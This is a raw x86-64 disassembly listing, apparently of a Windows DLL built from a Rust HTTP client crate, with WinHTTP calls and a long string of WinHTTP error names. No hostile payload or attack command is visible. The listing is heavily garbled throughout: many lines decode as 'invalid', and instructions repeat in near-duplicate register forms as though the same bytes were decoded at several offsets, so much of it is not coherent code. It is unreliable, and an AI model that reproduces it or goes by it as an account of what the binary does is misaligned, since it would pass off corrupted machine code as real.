mov rax, qword [rsp + 0x38]
cmp byte [rax - 0x77], cl
and byte [rcx + r9*4 + 0x7e], r9b
and byte [rcx + rcx*4 + 0x7e], cl
invalid
cmp byte [rax - 0x77], cl
and byte [rcx + r9*4 + 0x7e], r9b
and byte [rcx + rcx*4 + 0x7e], cl
and byte [rcx + rcx*4 + 0x7e], cl
sub byte [rax - 0x77], cl
outsb dx, byte [rsi]
mov qword [rsi + 0x30], rbp
mov qword [rsi + 0x38], r13
mov dword [rsi + 0x38], ebp
xor byte [rcx + rcx*4 + 0x6e], cl
mov dword [rsi + 0x38], ebp
cmp byte [rax - 0x77], cl
jle case.0x180006b46.239
mov qword [rsi + 0x40], rdi
and qword [rsi + 0x48], 0
and qword [rsi + 0x48], 0
and dword [rsi + 0x48], 0
jmp 0x18001e6d0
mov rbx, qword [rdi + 0x30]
mov rcx, qword [rdi + 0x20]
mov rax, qword [rdi + 0x28]
sub byte [r9 - 0x47], r8b
add byte [rax], ah
add byte [rax], al
mov r9d, 0x2000
mov rdx, r15
mov r8, rbx
call qword [rax + 0x18]
mov r8, rdx
mov eax, edx
sbb byte [rcx - 0x77], cl
ror byte [rax - 0x7b], 1
sal byte [rbx + rdx + 0x48], 0x83
je 0x18001e690
cmp rax, 1
jne 0x18001e6b7
invalid
mov eax, edx
test rax, rax
je 0x18001e690
cmp rax, 1
jne 0x18001e6b7
invalid
xor al, 0x48
mov qword [rsi], 3
mov dword [rsi], 3
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 + 0x46], cl
or bl, ch
jmp 0x18001e6d0
mov rax, qword [rdi + 0x18]
mov qword [rsi + 8], r8
jmp 0x18001e6d0
mov rax, qword [rdi + 0x18]
sbb byte [r8 - 0x75], r9b
sbb byte [rax - 0x75], cl
mov rcx, qword [rax + 0x10]
mov ecx, dword [rax + 0x10]
adc byte [rbp - 0x7b], cl
test r8, r8
je 0x18001e6ab
sal byte [rsi + rcx + 0x48], 0x89
fiadd dword [rbp + 0x31]
invalid
mov rdx, rbx
mov edx, ebx
xor r9d, r9d
xor ecx, ecx
leave
call qword [sym.imp.winhttp.dll_WinHttpWriteData]
ja 0x18001e684
add al, 0
jmp 0x18001e6b3
or byte [rcx], dh
sar bh, cl
xor edx, edx
call qword [sym.imp.winhttp.dll_WinHttpReceiveResponse]
add al, 0
adc eax, 0x4dd65
add al, 0
test eax, eax
je 0x18001e6c0
invalid
or dword [rax - 0x39], ecx
invalid
mov qword [rsi], 4
add al, 0
add byte [rax], al
invalid
add bl, ch
adc al, ch
add byte [rax], al
add byte [rax], al
jmp 0x18001e6d0
call fcn.18001e707
mov qword [rsi], 3
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
invalid
mov dword [rsi], 3
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
mov qword [rsi + 8], rax
or byte [rdi], r9b
sub byte [rsp + 0xc0], dh
and al, 0xc0
add byte [rax], al
invalid
movaps xmm6, xmmword [rsp + 0xc0]
mov ah, 0x24
rol byte [rax], 0
and al, 0xc0
add byte [rax], al
add byte [rax - 0x7f], cl
add rsp, 0xd8
invalid
fadd dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rbx + 0x5d], bl
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop r15
pop rdi
ret
ud2
lea rcx, str.internal_error:_entered_unreachable_code
lea ecx, str.internal_error:_entered_unreachable_code
invalid
lea r8, [0x18006f4b8]
add byte [rdx + 0x28], bh
mov edx, 0x28
add byte [rax], al
call fcn.180069820
add al, 0
int3
sub esp, 0x28
call qword [sym.imp.KERNEL32.dll_GetLastError]
adc eax, 0x4d977
ja 0x18001e6e8
add al, 0
mov ecx, eax
add rsp, 0x28
invalid
sub cl, ch
jnp 0x18001e71b
add byte [rax], al
ror dword [rax - 0x7d], 0xc4
sub cl, ch
jnp 0x18001e71b
add dword [rax], eax
add byte [rax], al
add byte [rcx + 0x56], al
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x168
push 0x48000001
add dword [rax], eax
add byte [rax - 0x77], cl
invalid
invalid
add byte [rax], al
mov rbx, rcx
mov ebx, ecx
retf
mov ecx, 8
mov edx, 0x20
and byte [rax], al
add byte [rax], al
and byte [rax], al
add byte [rax], al
call fcn.18001baa8
outsb dx, byte [rsi]
sar edi, cl
invalid
dec dword [rax - 0x7b]
test rax, rax
invalid
invalid
invalid
test rax, rax
je 0x18001e887
add dword [rax], r8d
invalid
add dword [rax], r8d
add byte [rcx - 0x77], cl
mov r14, rax
add byte [rax], al
mov r14, rax
xor eax, eax
cmp rax, 0x20
clc
and byte [rbx + rcx + 0x49], dh
je 0x18001e759
invalid
je 0x18001e759
and qword [r14 + rax], 0
and dword [rsi + rax], 0
add rax, 0x20
jmp case.0x1800085b2.171
and bl, ch
out dx, eax
mov ecx, 0x280
add byte [rdx], 0
add byte [rdx + 0x80], bh
mov edx, 0x80
add byte [rax], 0
add al, ch
call fcn.18001ba0a
and qword [rax], 0
and byte [rax], al
mov edx, 8
call fcn.18001ba0a
and qword [rax], 0
and byte [rax], al
invalid
and byte [rax], al
mov edx, 8
lea rdi, [rax + rdx]
lea edi, [rax + rdx]
cmp al, 0x10
lea rsi, [rsp + 0xf0]
lea esi, [rsp + 0xf0]
lock add byte [rax], al
add byte [rax], al
add byte [rcx + 0xf], bh
mov ecx, 0xf
sldt word [rax]
add bl, dh
rep movsq qword [rdi], qword [rsi]
rep movsq qword [rdi], qword [rsi]
and qword [rax + 0x80], 0
and dword [rax + 0x80], 0
add byte [rax], al
add byte [rax], al
lea rdi, [rax + 0x88]
lea edi, [rax + 0x88]
mov byte [rax], al
add byte [rax], al
lea rsi, [rsp + 0x78]
mov ecx, 0xf
sldt word [rax]
invalid
sldt word [rax]
add bl, dh
rep movsq qword [rdi], qword [rsi]
rep movsq qword [rdi], qword [rsi]
movsd dword [rdi], dword [rsi]
and word [rax + 0x100], 0
and dword [rax + 0x100], 0
add byte [rax], al
add byte [rax - 0x7d], cl
and dword [rax + 0x108], 0
invalid
invalid
nop
and qword [rax + 0x108], 0
and dword [rax + 0x108], 0
mov qword [rax + 0x110], rdx
mov dword [rax + 0x110], edx
adc byte [rcx], al
add byte [rax], al
xorps xmm0, xmm0
movups xmmword [rax + 0x118], xmm0
sbb byte [rcx], al
add byte [rax], al
sbb byte [rcx], al
add byte [rax], al
mov qword [rax + 0x128], rdx
nop
sub byte [rcx], al
add byte [rax], al
and qword [rax + 0x130], 0
mov cl, 1
add byte [rax], al
add byte [rcx + 0x38888801], dh
add dword [rax], eax
invalid
mov byte [rax + 0x138], cl
add byte [rax], al
add byte [rsi - 0x7d], ah
movabs al, byte [0xa083480000000140]
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
add qword [rax], rax
add byte [rax], al
invalid
and word [rax + 0x140], 0
add byte [rax], al
add byte [rax - 0x7d], cl
add byte [rax], al
and qword [rax + 0x148], 0
movabs al, byte [0x9089480000000148]
add byte [rax - 0x77], cl
nop
mov qword [rax + 0x150], rdx
push rax
add dword [rax], eax
invalid
add byte [rax], al
add byte [rdi], cl
movups xmmword [rax + 0x158], xmm0
adc dword [rax + 0x158], eax
add dword [rax], eax
add byte [rax - 0x77], cl
nop
mov qword [rax + 0x168], rdx
and qword [rax + 0x170], 0
invalid
jo 0x18001e804
add byte [rax], al
invalid
push 0x48000001
and dword [rax + 0x170], 0
invalid
jo 0x18001e804
add byte [rax], al
invalid
add byte [rax - 0x7d], cl
movabs al, byte [0x7888880000000170]
jo 0x18001e804
add byte [rax], al
add byte [rax + 0x17888], cl
invalid
mov byte [rax + 1], bh
add dword [rax], eax
add byte [rax], al
mov byte [rax + 0x178], cl
mov edx, 1
add dword [rax], eax
add byte [rax], al
invalid
add dword [rax], eax
add byte [rdx + 1], bh
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x77], cl
nop
add byte [rcx], 0
add dword [rax], eax
mov qword [rax + 0x180], rdx
mov dword [rax + 0x180], edx
add dword [rax], eax
add byte [rax - 0x39], cl
or byte [rax + 0x4000001], 0
add dword [rax], eax
add byte [rax + rax], al
mov qword [rax + 0x188], 4
mov dword [rax + 0x188], 4
add dword [rax], eax
add byte [rax + rax], al
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rax + 0x190], 2
mov dword [rax + 0x190], 2
adc byte [rax + 0x2000001], 0
add byte [rax], al
invalid
add dword [rax], eax
add byte [rdx], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x50], cl
cwde
add dword [rax], eax
invalid
mov qword [rax + 0x198], r14
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rax + 0x1a0], rdx
mov dword [rax + 0x1a0], edx
nop
movabs al, byte [0x1a8b88d48000001]
add byte [rax], al
lea rdi, [rax + 0x1a8]
add byte [rax], al
lea rdi, [rax + 0x1a8]
add dword [rax], eax
add byte [rax - 0x73], cl
je 0x18001e86b
lea rsi, [rsp + 0x20]
lea esi, [rsp + 0x20]
and byte [rcx + 0xb], bh
mov ecx, 0xb
add bl, dh
movsq qword [rdi], qword [rsi]
rep movsq qword [rdi], qword [rsi]
mov qword [rax + 0x200], rdx
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x77], cl
nop
or byte [rdx], al
add byte [rax], al
mov qword [rax + 0x208], rdx
mov byte [rax + 0x210], 0
adc byte [rdx], al
add al, byte [rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
and eax, dword [rax]
invalid
and qword [rbx], 0
add byte [rax - 0x77], cl
mov qword [rbx + 8], rax
mov dword [rbx + 8], eax
or byte [r8 - 0x7d], cl
invalid
and qword [rbx + 0x10], 0
and dword [rbx + 0x10], 0
adc byte [rax], al
movups xmmword [rbx + 0x20], xmm0
mov qword [rbx + 0x30], rax
and byte [r8 - 0x77], cl
xor byte [r8 - 0x7f], cl
invalid
invalid
invalid
add rsp, 0x168
pop rbx
add dword [rax], eax
add byte [rbx + 0x5f], bl
pop rdi
pop rsi
pop r14
ret
mov ecx, 8
add byte [rax], al
mov edx, 0x20
and byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add al, ch
call fcn.180069600
push 0xffffffffffffffad
add al, 0
int3
or dword [rdx - 0x7c000030], 0x24772af8
sar bh, 1
inc dword [rbx + 0x24772af8]
clc
sub dh, byte [rdi + 0x24]
ja case.0x18000b84e.100
clc
sub dh, byte [rdi + 0x24]
ja case.0x18000b84e.100
ja case.0x18000b84e.100
lea rdx, [0x180082480]
xlatb
cmp eax, dword [rsi]
invalid
add byte [rax + 0x63], cl
movsxd rax, dword [rdx + rax*4]
invalid
add al, 0x82
invalid
add rax, rdx
add eax, edx
jmp rax
lea rdx, [0x18006eebf]
lea edx, [0x18006eebf]
adc eax, 0x50606
add byte [rcx - 0x48], al
mov r8d, 0x25
mov eax, 0x25
and eax, 0x31000000
add byte [rax], al
add byte [rcx], dh
xor ecx, ecx
leave
jmp 0x18001bd51
mov edx, esp
invalid
lea eax, [rcx - 0x2ee1]
cmp eax, 0x2c
invalid
sar edi, 1
invalid
inc dword [rbx + 0x1c772cf8]
clc
sub al, 0x77
sbb al, 0x48
invalid
ja 0x18001e8ed
lea rdx, [0x1800823bc]
lea edx, [0x1800823bc]
in al, 0x3a
invalid
movsxd rax, dword [rdx + rax*4]
invalid
add al, 0x82
invalid
add rax, rdx
add eax, edx
sar bh, 1
loopne 0x18001e92a
invalid
jmp rax
lea rdx, [0x18006f128]
lea edx, [0x18006f128]
adc eax, 0x50840
add eax, 0x2b1e900
add cl, ch
jmp 0x18001eb9e
mov cl, 2
add al, byte [rax]
add byte [rax], al
add byte [rbp - 0x2f437f], cl
lea eax, [rcx - 0x2f44]
cmp dword [rax + rdx*8 - 0x77c0001], 0x481c7703
lea ecx, [0x180082470]
or eax, 0x63b71
inc dword [rbx + 0x1c7703f8]
cmp eax, 3
add esi, dword [rdi + 0x1c]
ja 0x18001e914
lea rcx, [0x180082470]
or eax, 0x63b71
cmp eax, dword [rsi]
add byte [rax + 0x63], cl
movsxd rax, dword [rcx + rax*4]
add al, 0x81
or dword [rax + 1], 0x48e0ffc8
add rax, rcx
enter 0xffffffffffffe0ff, 0x48
jmp rax
lea rdx, [0x18006ec7e]
lea edx, [0x18006ec7e]
adc eax, 0x5036f
add eax, 0x300e900
add cl, ch
jmp 0x18001ec14
add byte [rbx], al
add eax, dword [rax]
add byte [rax], al
add byte [rcx + 0x2f19f9], al
add byte [rbp + 0xc], dh
jne case.0x18001e8df.2
cmp ecx, 0x2f19
sbb dword [rdi], ebp
add byte [rax], al
jne case.0x18001e8df.2
or al, 0x48
lea rdx, [0x18006f28a]
lea edx, [0x18006f28a]
or dword [eip + 0x2dde900], eax
jmp 0x18001ec05
fld qword [rdx]
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x3f], cl
shl rcx, 0x20
shl ecx, 0x20
loope 0x18001e94c
and byte [rax - 0x7d], cl
leave
or rcx, 2
mov rax, rcx
add cl, byte [rax - 0x77]
enter 0x48c3, 0xffffffffffffff8d
ret
invalid
invalid
ret
lea rdx, [0x18006f1b3]
lea edx, [0x18006f1b3]
adc eax, 0x50878
js 0x18001e941
or byte [0x1acba2a3e], al
add eax, 0x2cb84100
mov r8d, 0x2c
mov eax, 0x2c
add byte [rax], al
add cl, ch
jmp case.0x18001e906.39
add dword es:[rax], eax
add byte [rax - 0x73], cl
adc eax, 0x505c0
invalid
invalid
invalid
invalid
lea rdx, [0x18006ef0d]
lea edx, [0x18006ef0d]
rol byte [0x133eae955], 2
add eax, 0x2b3e900
add cl, ch
jmp 0x18001ec05
mov bl, 2
add byte [rax], al
add byte [rax - 0x73], cl
lea rdx, [0x18006eee4]
adc eax, 0x5058b
mov eax, dword [0x13842e960]
mov r8d, 0x29
mov eax, 0x29
sub dword [rax], eax
add byte [rax], al
jmp case.0x18001e906.39
or byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
invalid
lea rdx, [0x18006ed91]
lea edx, [0x18006ed91]
adc eax, 0x50426
add eax, 0x36b84100
add byte [rcx - 0x48], al
mov r8d, 0x36
add byte ss:[rax], al
add byte [rax], al
add byte [rax], al
add cl, ch
jmp 0x18001ec1a
movsb byte [rdi], byte [rsi]
add al, byte [rax]
add byte [rax - 0x73], cl
invalid
invalid
lea rdx, [0x18006eff6]
adc eax, 0x50679
jns 0x18001e981
invalid
add eax, 0x167e900
add byte [rax], al
jmp case.0x18001a336.51
add dword [eax], eax
add dword [rax], eax
add byte [rax - 0x73], cl
lea rdx, [0x18006efb0]
adc eax, 0x50627
invalid
add byte [rcx - 0x48], al
mov r8d, 0x23
mov eax, 0x23
and eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x2c4416eb], dh
mov cl, 0x15
invalid
invalid
sar edi, cl
mov cl, 0x15
jmp 0x18001bd51
invalid
sar edi, cl
invalid
mov ebx, 0x48ffffd3
lea edx, [0x18006ebfe]
adc eax, 0x50261
lea rdx, [0x18006ebfe]
adc eax, 0x50261
add al, byte [0x18149d2a0]
add eax, 0x147e900
add cl, ch
jmp case.0x18001a336.51
add dword [r8], r8d
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x504c2
invalid
lea rdx, [0x18006ee6b]
add cl, ch
jmp case.0x18001a336.51
cmp eax, dword [rcx]
add byte [rax], al
add byte [rax - 0x73], cl
lea rdx, [0x18006f262]
lea edx, [0x18006f262]
adc eax, 0x508ad
lodsd eax, dword [rsi]
or byte [0x181f5d2b8], al
invalid
invalid
jmp 0x18001ebad
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
invalid
add byte [rax], al
lea rdx, [0x18006f020]
adc eax, 0x5065f
pop rdi
invalid
jmp 0x18001ec14
add r8b, byte [rax]
add byte [rax - 0x73], cl
adc eax, 0x50914
invalid
invalid
invalid
lea rdx, [0x18006f2e1]
or dword [0x180e9d2d0], eax
add cl, ch
jmp 0x18001eab9
out 0, eax
add byte [rax], al
lea rdx, [0x18006ebd1]
jmp 0x18001ebbc
fiadd word [rcx]
add byte [rax], al
lea rdx, str.ERROR_WINHTTP_AUTODETECTION_FAILED:_12180ERROR_WINHTTP_AUTO_PROXY_SERVICE_ERROR:_12178ERROR_WINHTTP_BAD_AUTO_PROXY_SCRIPT:_12166ERROR_WINHTTP_CANNOT_CALL_AFTER_OPEN:_12103ERROR_WINHTTP_CANNOT_CALL_AFTER_SEND:_12102ERROR_WINHTTP_CANNOT_CALL_BEFORE_OPEN:_12100ERROR_WINHTTP_CANNOT_CALL_BEFORE_SEND:_12101ERROR_WINHTTP_CANNOT_CONNECT:_12029ERROR_WINHTTP_CHUNKED_ENCODING_HEADER_SIZE_OVERFLOW:_12183ERROR_WINHTTP_CLIENT_AUTH_CERT_NEEDED:_12044ERROR_WINHTTP_CLIENT_AUTH_CERT_NEEDED_PROXY:_12187ERROR_WINHTTP_CLIENT_CERT_NO_ACCESS_PRIVATE_KEY:_12186ERROR_WINHTTP_CLIENT_CERT_NO_PRIVATE_KEY:_12185ERROR_WINHTTP_CONNECTION_ERROR:_12030ERROR_WINHTTP_FEATURE_DISABLED:_12192ERROR_WINHTTP_GLOBAL_CALLBACK_FAILED:_12191ERROR_WINHTTP_HEADER_ALREADY_EXISTS:_12155ERROR_WINHTTP_HEADER_COUNT_EXCEEDED:_12181ERROR_WINHTTP_HEADER_NOT_FOUND:_12150ERROR_WINHTTP_HEADER_SIZE_OVERFLOW:_12182ERROR_WINHTTP_HTTP_PROTOCOL_MISMATCH:_12190ERROR_WINHTTP_INCORRECT_HANDLE_STATE:_12019ERROR_WINHTTP_INCORRECT_HANDLE_TYPE:_12018ERROR_WINHTTP_INTERNAL_ERROR:_12004ERROR_WINHTTP_INVALID_HEADER:_12153ERROR_WINHTTP_INVALID_OPTION:_12009ERROR_WINHTTP_INVALID_QUERY_REQUEST:_12154ERROR_WINHTTP_INVALID_SERVER_RESPONSE:_12152ERROR_WINHTTP_INVALID_URL:_12005ERROR_WINHTTP_LOGIN_FAILURE:_12015ERROR_WINHTTP_NAME_NOT_RESOLVED:_12007ERROR_WINHTTP_NOT_INITIALIZED:_12172ERROR_WINHTTP_OPERATION_CANCELLED:_12017ERROR_WINHTTP_OPTION_NOT_SETTABLE:_12011ERROR_WINHTTP_OUT_OF_HANDLES:_12001ERROR_WINHTTP_REDIRECT_FAILED:_12156ERROR_WINHTTP_RESEND_REQUEST:_12032ERROR_WINHTTP_RESERVED_189:_12189ERROR_WINHTTP_RESPONSE_DRAIN_OVERFLOW:_12184ERROR_WINHTTP_SCRIPT_EXECUTION_ERROR:_12177ERROR_WINHTTP_SECURE_CERT_CN_INVALID:_12038ERROR_WINHTTP_SECURE_CERT_DATE_INVALID:_12037ERROR_WINHTTP_SECURE_CERT_REVOKED:_12170ERROR_WINHTTP_SECURE_CERT_REV_FAILED:_12057ERROR_WINHTTP_SECURE_CERT_WRONG_USAGE:_12179ERROR_WINHTTP_SECURE_CHANNEL_ERROR:_12157ERROR_WINHTTP_SECURE_FAILURE:_12175ERROR_WINHTTP_SECURE_FAILURE_PROXY:_12188ERROR_WINHTTP_SECURE_INVALID_CA:_12045ERROR_WINHTTP_SECURE_INVALID_CERT:_12169ERROR_WINHTTP_SHUTDOWN:_12012ERROR_WINHTTP_TIMEOUT:_12002ERROR_WINHTTP_UNABLE_TO_DOWNLOAD_SCRIPT:_12167ERROR_WINHTTP_UNHANDLED_SCRIPT_TYPE:_12176ERROR_WINHTTP_UNRECOGNIZED_SCHEME:_12006registery_srcindex.crates.io_6f17d22bba15001f_alhc_0.3.0_alpha.3_srcwindows_request.rs
adc eax, 0x501c3
add dword [0x180d1d2e8], eax
add eax, 0xcfe900
jmp 0x18001eab9
add byte [rax], al
add byte [rax - 0x73], cl
lea rdx, [0x18006f14b]
adc eax, 0x5075a
invalid
add eax, 0x4855eb00
lea edx, [0x18006f37c]
invalid
invalid
invalid
add bl, ch
jmp 0x18001ea48
push rbp
lea rdx, [0x18006f37c]
or dword [0x181b0d2fd], eax
add byte [rax], al
invalid
jmp 0x18001ebad
scasb al, byte [rdi]
add dword [rax], eax
add byte [rax - 0x73], cl
lea rdx, [0x18006f1df]
lea edx, [0x18006f1df]
adc eax, 0x507d9
jmp 0x18001ec05
cli
add dword [rax], eax
add byte [rax], al
invalid
invalid
add byte [rax], al
lea rdx, [0x18006f3dd]
adc eax, 0x509cb
mov r8d, 0x2e
jmp 0x18001ec1a
std
add dword [rax], eax
add byte [rax], al
std
add dword [rax], eax
add byte [rax], al
lea rdx, [0x18006f2b5]
add byte [rax], al
lea rdx, [0x18006f2b5]
jmp 0x18001ec14
jmp 0x18001ea28
add byte [rax - 0x73], cl
lea rdx, [0x18006f30a]
adc eax, 0x508da
add cl, ch
jmp 0x18001eb9e
imul eax, dword [rcx], 0x8d480000
adc eax, 0x50404
lea rdx, [0x18006ee40]
jmp 0x18001ec05
add dword [rax], eax
add byte [rax - 0x73], cl
add byte [rax], al
lea rdx, [0x18006f0b4]
adc eax, 0x5066c
mov r8d, 0x24
add cl, ch
jmp 0x18001ec1a
mov dword [rcx], 0x8d480000
adc eax, 0x5043b
lea rdx, [0x18006ee95]
jmp case.0x18001a336.51
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x50293
invalid
invalid
invalid
add byte [rax], al
lea rdx, [0x18006ecf9]
add al, byte [0x1baba2b69]
add byte [rax], al
add byte [rcx - 0x2d2116da], dh
mov cl, 0x26
invalid
invalid
sar bh, cl
mov r8d, 0x3a
mov cl, 0x26
jmp 0x18001bd51
sar bh, cl
invalid
sar bh, cl
dec dword [rax - 0x73]
adc eax, 0x50991
invalid
invalid
lea rdx, [0x18006f40b]
add eax, 0x486deb00
lea edx, [0x18006edc7]
adc eax, 0x50344
jmp case.0x18001a336.51
lea rdx, [0x18006edc7]
adc eax, 0x50344
add eax, dword [0x1afba2b86]
add byte [rax], al
add cl, ch
mov word [rcx], es
add byte [rax], al
invalid
add byte [rcx - 0x48], al
invalid
mov r8d, 0x2f
mov eax, 0x2f
jmp 0x18001ec1a
add byte [rax - 0x73], cl
lea rdx, [0x18006ed5f]
adc eax, 0x502ca
add byte [rcx - 0x48], al
xor al, byte [rax]
mov r8d, 0x32
add byte [rax], al
jmp 0x18001ec1a
lea rdx, [0x18006f192]
adc eax, 0x506eb
mov r8d, 0x21
mov eax, 0x21
add cl, ch
push 0x48000001
lea edx, [0x18006f32d]
adc eax, 0x50874
jmp 0x18001ec1a
lea rdx, [0x18006f32d]
adc eax, 0x50874
je 0x18001eabf
or byte [0x1a9ba2bbc], al
add eax, 0x29b84100
mov r8d, 0x29
add byte [rax], al
add cl, ch
push rsi
jmp 0x18001ec1a
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
add byte [rax], al
lea rdx, [0x18006ee1b]
lea edx, [0x18006ee1b]
adc eax, 0x50350
add eax, dword [0x1a5ba2bce]
mov r8d, 0x25
jmp 0x18001ec1a
add dword [rax], r8d
invalid
add byte [rax], al
add cl, ch
add dword [rax], r8d
add byte [rax - 0x73], cl
lea rdx, [0x18006f16f]
add byte [rax], al
lea rdx, [0x18006f16f]
invalid
jmp 0x18001eb9e
add byte [rax], al
lea rdx, [0x18006ef63]
lea edx, [0x18006ef63]
adc eax, 0x5047a
mov r8d, 0x2a
add byte [rax], al
jmp 0x18001ec1a
add dword es:[rax], eax
add byte [rax - 0x73], cl
invalid
invalid
lea rdx, [0x18006f0d8]
lea edx, [0x18006f0d8]
adc eax, 0x505dd
add eax, 0xade900
add byte [rax], al
jmp 0x18001ebad
lea rdx, [0x18006f08e]
adc eax, 0x50587
add eax, 0x5deb0005
add eax, 0x485deb00
lea edx, [0x18006ed33]
adc eax, 0x50223
jmp 0x18001eb66
lea rdx, [0x18006ed33]
adc eax, 0x50223
jmp 0x18001ec14
add byte [rax - 0x73], cl
adc eax, 0x504b7
mov bh, 4
invalid
invalid
lea rdx, [0x18006efd3]
mov bh, 4
add eax, 0x23b84100
add byte [rcx - 0x48], al
and eax, dword [rax]
invalid
add byte [rcx - 0x48], al
and eax, dword [rax]
add byte [rax], al
invalid
mov r8d, 0x23
mov eax, 0x23
add bl, ch
or eax, 0x21158d48
invalid
invalid
invalid
invalid
jmp case.0x18001c9bf.51
lea rdx, [0x18006f04c]
mov r8d, 0x20
add byte [rax], al
add eax, 0xb8410005
add byte [rcx - 0x48], al
and byte [rax], al
add byte [rax], al
mov cl, 0x14
jmp 0x18001bd51
sbb edx, edx
invalid
invalid
sbb edx, edx
invalid
lea rdx, [0x18006ef38]
lea edx, [0x18006ef38]
adc eax, 0x503f9
jmp 0x18001ec05
add byte [rax], al
add byte [rax - 0x73], cl
lea rdx, [0x18006f3a4]
adc eax, 0x50859
or byte [0x19dba2c4e], al
add eax, 0x1db84100
add byte [rcx - 0x48], al
sbb eax, 0xe9000000
add byte [rax], al
invalid
mov r8d, 0x1d
add byte [rax], al
add cl, ch
invalid
add byte [rax], al
jmp 0x18001ec1a
invalid
lea rdx, [0x18006f435]
jmp 0x18001ebad
fmul dword [rax]
add eax, 0x484eeb00
add bl, ch
lea rdx, [0x18006f356]
lea rdx, [0x18006f356]
add bl, ch
lea rdx, [0x18006f356]
lea rdx, [0x18006f356]
lea rdx, [0x18006f356]
adc eax, 0x507f0
invalid
mov r8d, 0x26
jmp 0x18001ec1a
invalid
add byte [rax - 0x73], cl
lea rdx, [0x18006f06c]
adc eax, 0x504f4
add byte [rcx - 0x48], al
and al, byte [rax]
add byte [rax], al
mov r8d, 0x22
jmp 0x18001ec1a
lea rdx, [0x18006f3c1]
lea edx, [0x18006f3c1]
invalid
or byte [0x19cba2c8d], al
add byte [rax], al
add byte [rcx - 0x2e4516ea], dh
mov r8d, 0x1c
mov cl, 0x16
jmp 0x18001bd51
invalid
invalid
invalid
dec dword [rax - 0x73]
adc eax, 0x503ef
lea rdx, [0x18006ef8d]
lea edx, [0x18006ef8d]
mov r8d, 0x23
jmp 0x18001ec1a
je 0x18001ebef
lea rdx, [0x18006f100]
lea edx, [0x18006f100]
mov r8d, 0x28
jmp 0x18001ec1a
invalid
lea rdx, gs:[0x18006f235]
lea rdx, [0x18006f235]
jns 0x18001ebc0
add eax, 0x2db84100
add byte [rax], al
add bl, ch
push rsi
mov r8d, 0x2d
add byte [rax], al
jmp 0x18001ec1a
lea rdx, [0x18006ecd6]
mov r8d, 0x23
mov eax, 0x23
add dword [0x1a3ba2cce], eax
add byte [rax], al
add byte [rcx - 0x2e8616f9], dh
invalid
mov eax, 0x23
mov cl, 7
jmp 0x18001bd51
lea rdx, [0x18006edf6]
mov r8d, 0x25
mov cl, 6
jmp 0x18001bd51
add al, byte [0x1a5ba2ce2]
add byte [rax], al
add byte [rcx - 0x2e9a16fa], dh
invalid
lea rdx, [0x18006f20a]
jmp 0x18001ec05
invalid
lea rdx, [0x18006ec53]
jmp 0x18001ec05
lea rdx, [0x18006ec28]
mov r8d, 0x2b
jmp 0x18001ec1a
lea rdx, [0x18006ecaa]
mov r8d, 0x2c
mov cl, 0x27
jmp 0x18001bd51
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov qword [rbp], 0xfffffffffffffffe
mov rdi, rdx
mov rsi, rcx
mov rdx, qword [rdx + 8]
test rdx, rdx
je 0x18001f59d
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x61ba1
mov qword [rdi + 0x10], rcx
and qword [rdi + 0x18], 0
test rdx, rdx
jne 0x18001fb19
jmp 0x18001fb23
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rdx
jmp 0x18001fb5a
xor eax, eax
jmp 0x18001fb5f
add byte [rax], al
add byte [rcx - 0x7d], al
sti
or dh, byte [rsi + rax + 0x41]
invalid
invalid
cmp ebx, 0xd
jne 0x18001fb69
add r9, r10
add r8, rdx
mov qword [rdi + 0x10], r9
adc byte [rcx + rcx*4 + 0x47], cl
sbb byte [rax - 0x77], cl
or byte [rax - 0x77], r9b
invalid
invalid
adc byte [rcx + rcx*4 + 0x47], cl
sbb byte [rax - 0x77], cl
or byte [rax - 0x77], r9b
adc byte [rax + 1], r15b
add byte [rax], al
mov eax, 1
add byte [rax], al
mov qword [rsi], rax
add rsp, 0x28
pop rdi
pop rsi
ret
and qword [rsi + 8], 0
mov byte [rsi + 0x10], 0
jmp 0x18001fb5a
inc qword [rdx + r9*4 + 0x44]
adc bh, bh
cmp r8b, 0xa
jne 0x18001fba5
or dh, byte [rbp + 0x19]
cmp byte [rax + rdx - 2], 0xd
lea rdx, [rdx - 2]
cmove rcx, rdx
invalid
invalid
jmp case.0x180066c72.140
sbb cl, byte [rax - 0x7b]
sal byte [rcx + rbx + 0x44], cl
mov al, byte [rax]
xor ecx, ecx
cmp r8b, 0xa
je case.0x180066c72.140
clc
or dh, byte [rdx + rcx + 0x45]
movzx eax, al
movzx r8d, r8b
cmp r8d, 0xd
jne 0x18001fbb8
mov rdx, rcx
retf 0x31c3
ret
add eax, 0x62091
invalid
mov rax, qword [rax + rcx*8]
lea rdx, [0x180081c70]
mov rdx, qword [rdx + rcx*8]
ret
retf 0x41c3
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xa8
movaps xmmword [rsp + 0x90], xmm6
mov rbx, rdx
mov rdi, qword [rcx]
lea rsi, [rsp + 0x30]
mov qword [rsi + 0x10], rdi
jle 0x18001fc11
and qword [rsi], 0
mov r15, 0xffffffffffffffff
mov rcx, rsi
call fcn.18001fd2a
inc r15
cmp eax, 1
je 0x18001fc0c
lea rax, [rsp + 0x70]
and al, 0x70
and qword [rax], 0
mov qword [rax + 0x10], rdi
